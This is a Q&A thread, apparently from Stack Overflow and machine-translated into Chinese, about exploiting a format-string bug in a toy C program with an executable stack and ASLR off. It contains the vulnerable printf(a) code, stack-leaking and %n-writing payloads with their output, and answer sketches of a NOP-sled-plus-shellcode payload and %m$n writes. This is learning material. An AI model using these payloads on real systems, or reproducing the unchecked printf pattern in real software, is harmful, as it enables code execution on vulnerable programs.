2014-01-16 88 views
6

是的,很多類似的問題已經存在(5037601,19166698,4855162,14505995,5052648,13409508,7745146,7459630;抱歉,對於超過2個鏈接沒有足夠的代表),並且是,有一些很好的文章解釋這種事情(click,click,http://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html)。我已經閱讀了他們,我想我已經得到了一般想法,但是我仍然無法成功利用我能想到的最簡單的培訓玩具示例。覆蓋返回地址簡單格式字符串利用

#include <stdio.h> 

void f(char* a) 
{ 
    printf("a: %p\n", &a); 
    printf(a); 
    return; 
} 

void main(int argc, char** argv) 
{ 
    f(argv[1]); //please ignore the lack of any check 
    return; 
} 

是的,堆棧是可執行的,是的,內存佈局隨機化被禁用。每次執行都會給我相同的地址a。我可以養活它例如$ ruby -e 'print "AAAA"+("%08x."*16)',並導致:

a: 0xbfffece0 
AAAAbfffece0.bfffecf0.b7fd7ff4.00000000.00000000.bffffcf8.080484b0.bfffecf0.00000fff.b7fd8420.00000000.41414141.78383025.3830252e.30252e78.252e7838. 

所以,現在我可以看到我輸入記憶結束。我可以將值寫入堆棧$ ruby -e 'print "12345%n"+("%08x."*16)',導致此:

a: 0xbfffece0 
12345bfffecf0.b7fd7ff4.00000000.00000000.bffffcf8.080484b0.00000005.00000fff.b7fd8420.00000000.34333231.256e2535.2e783830.78383025.3830252e.30252e78. 

很顯然,我的終極目標大概是這樣的<something><NOPs><shellcode>,其中<something>覆蓋的f的返回地址,這樣程序就會跳入NOP雪橇並執行shellcode。但是,保存的返回地址的地址似乎取決於我現在的輸入,對吧?假設12字節序言,類似於0xbfffece0 - len(input) - 12?也許這個例子畢竟不是最簡單的...

我感到困惑。有任何想法嗎?

+0

事實上,由於'printf'的參數將被壓入堆棧,返回地址的地址會根據您的輸入而改變。然後,您的格式字符串必須「消耗」與自身一樣多的字節,再加上返回地址以外的所有內容。 –

+0

你可能舉一個具體的例子,假設例如一個50字節的shellcode並且沒有NOP? –

+0

http://stackoverflow.com/questions/7459630/how-can-a-format-string-vulnerability-be-exploited –

回答

0

我建議你使用'%08x'格式的長字符串來找出輸入中正確的'%n'值,以便覆蓋返回地址。

12345%n%08x%08x%08x%08x........%08x%08x 

接下來,您可以修改您的輸入替換爲NOP雪橇+的shellcode的「%08X」串保持輸入相同的長度的一部分。

12345%n\x90\x90\x90\x90...\x90\x90SHELLCODE 

(修改%正格式說明根據需要寫一個正確的值以上)

這將確保輸入的大小,並因此保存的返回地址的位置保持相同。

0

另一個想法是使用「多爾符號」%<distance>$n

從Linux的printf手冊頁引用:

你也可以 明確指定哪些參數被,在每個地方,需要一個 爭論的地方,通過寫「%M $」。其中十進制整數m表示在 位置所需的自變量的自變量列表,被索引從1 Source

起始示例:%5$n會寫從堆棧的頂部的第五地址。